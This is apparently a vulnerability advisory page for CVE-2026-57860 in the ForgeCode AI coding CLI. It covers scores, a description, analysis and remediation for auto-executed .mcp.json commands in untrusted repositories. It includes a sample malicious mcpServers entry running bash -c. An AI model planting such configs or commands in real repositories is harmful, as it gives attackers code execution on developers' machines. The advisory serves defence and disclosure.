Which versions of ForgeCode are affected by CVE-2026-57860?

ForgeCode (an AI pair-programming CLI) enables arbitrary code execution on developer workstations by auto-loading untrusted configuration files without user consent.. A patch is available.

How to fix or mitigate CVE-2026-57860?

Within 24 hours, identify all systems running ForgeCode and notify development teams of the vulnerability and exploitation risk. Within 7 days, apply the vendor-released patch to all affected installations of ForgeCode across development environments. Within 30 days, implement preventive controls such as requiring explicit user confirmation for loading repository-specific configurations, restricting developer access to untrusted repositories on corporate machines, and establishing security review processes for third-party tool configurations.

ForgeCode CVE-2026-57860

Q: What is the CVSS score of CVE-2026-57860?

CVE-2026-57860 has a CVSS 4.0 base score of 8.4 (High). CVSS vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X. EPSS exploitation probability: 0.1%.

EUVD-2026-45217 HIGH

Inclusion of Functionality from Untrusted Control Sphere (CWE-829)

2026-07-17 VulnCheck

GHSA-6p2j-g97c-79wf

RCE Forgecode

8.4

CVSS 4.0 · Vendor: VulnCheck

Severity by source

Vendor (VulnCheck) PRIMARY

8.4 HIGH

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

vuln.today AI

7.8 HIGH

Local because the malicious config must be present in a repo run through the CLI (AV:L), victim must invoke forge (UI:R), no privileges needed (PR:N), and code runs with full user-level C/I/A impact.

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

4.0 AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector

Local

Attack Complexity

Low

Privileges Required

None

User Interaction

Scope

Lifecycle Timeline

Source Code Evidence Fetched

Jul 17, 2026 - 16:48 vuln.today

Analysis Generated

Jul 17, 2026 - 16:48 vuln.today

CVE Published

Jul 17, 2026 - 16:16 cve.org

HIGH 8.4

DescriptionCVE.org

ForgeCode (tailcallhq/forgecode), an AI pair-programming CLI, automatically loads and executes the MCP servers defined in a repository's .mcp.json file on startup without user confirmation. A malicious repository can supply a crafted .mcp.json whose mcpServers entries specify arbitrary command and args values (for example, command: bash with args: ['-c', 'touch /tmp/pwned']). When a user runs the forge CLI inside a cloned untrusted repository, the specified commands are spawned with the invoking user's privileges, resulting in arbitrary code execution. This provides a reliable initial-access and persistence primitive against developers who evaluate untrusted repositories with ForgeCode.

AnalysisAI

Arbitrary code execution in ForgeCode (tailcallhq/forgecode), an AI pair-programming CLI, occurs because the tool auto-loads and honors a repository's project-local .mcp.json at startup without asking the user. A malicious repository can define mcpServers entries with arbitrary command/args (e.g. bash -c), so simply running the forge CLI inside a cloned untrusted repo spawns attacker-chosen commands as the invoking developer. Reported by VulnCheck with a vendor patch available; no public exploit tool is identified at time of analysis, though the CVE description itself embeds a working payload example.

Technical ContextAI

MCP (Model Context Protocol) servers are helper processes that AI coding assistants launch to expose tools; ForgeCode discovers them from a .mcp.json manifest whose entries carry a command and args that the CLI executes as child processes. The flaw is CWE-829 (Inclusion of Functionality from an Untrusted Control Sphere): a project-local config file that ships inside any cloned repository is treated as trusted input and its command list is spawned automatically. The fix (commit 68ca3a3) introduces an interactive trust gate (init_mcp / filter_trusted) plus a persisted McpTrustStore (.mcp_trust.json) that hashes each config file with FNV-64 so accepted/rejected decisions survive restarts and any edit to the file re-prompts; server processes also become lazy (connected only on first tool use) rather than executed eagerly at startup. Affected product per CPE is cpe:2.3:a:tailcallhq:forgecode across all versions prior to the patch.

RemediationAI

Upgrade ForgeCode to the release containing the trust-gate fix; the upstream fix is available as commit https://github.com/tailcallhq/forgecode/commit/68ca3a3a26c73c38a700453d3d021b5bbdc15dbd, which adds an interactive Accept/Reject prompt for any project-local .mcp.json and a persisted .mcp_trust.json store - a released patched version tag was not independently confirmed from the input, so verify the fixed version against the vendor before deploying. Until upgraded, do not run the forge CLI inside freshly cloned or untrusted repositories, and before opening any such repo manually inspect and delete or empty its .mcp.json (removing mcpServers command/args entries) so nothing auto-executes; this disables project-local MCP functionality for that repo but eliminates the auto-spawn path. As a stronger compensating control, evaluate untrusted repositories only inside a disposable container or VM so any spawned command is sandboxed, accepting the overhead of the isolated environment. Consult the VulnCheck advisory (https://www.vulncheck.com/advisories/forgecode-arbitrary-code-execution-via-unvetted-mcp-json-in-untrusted-repository) for details.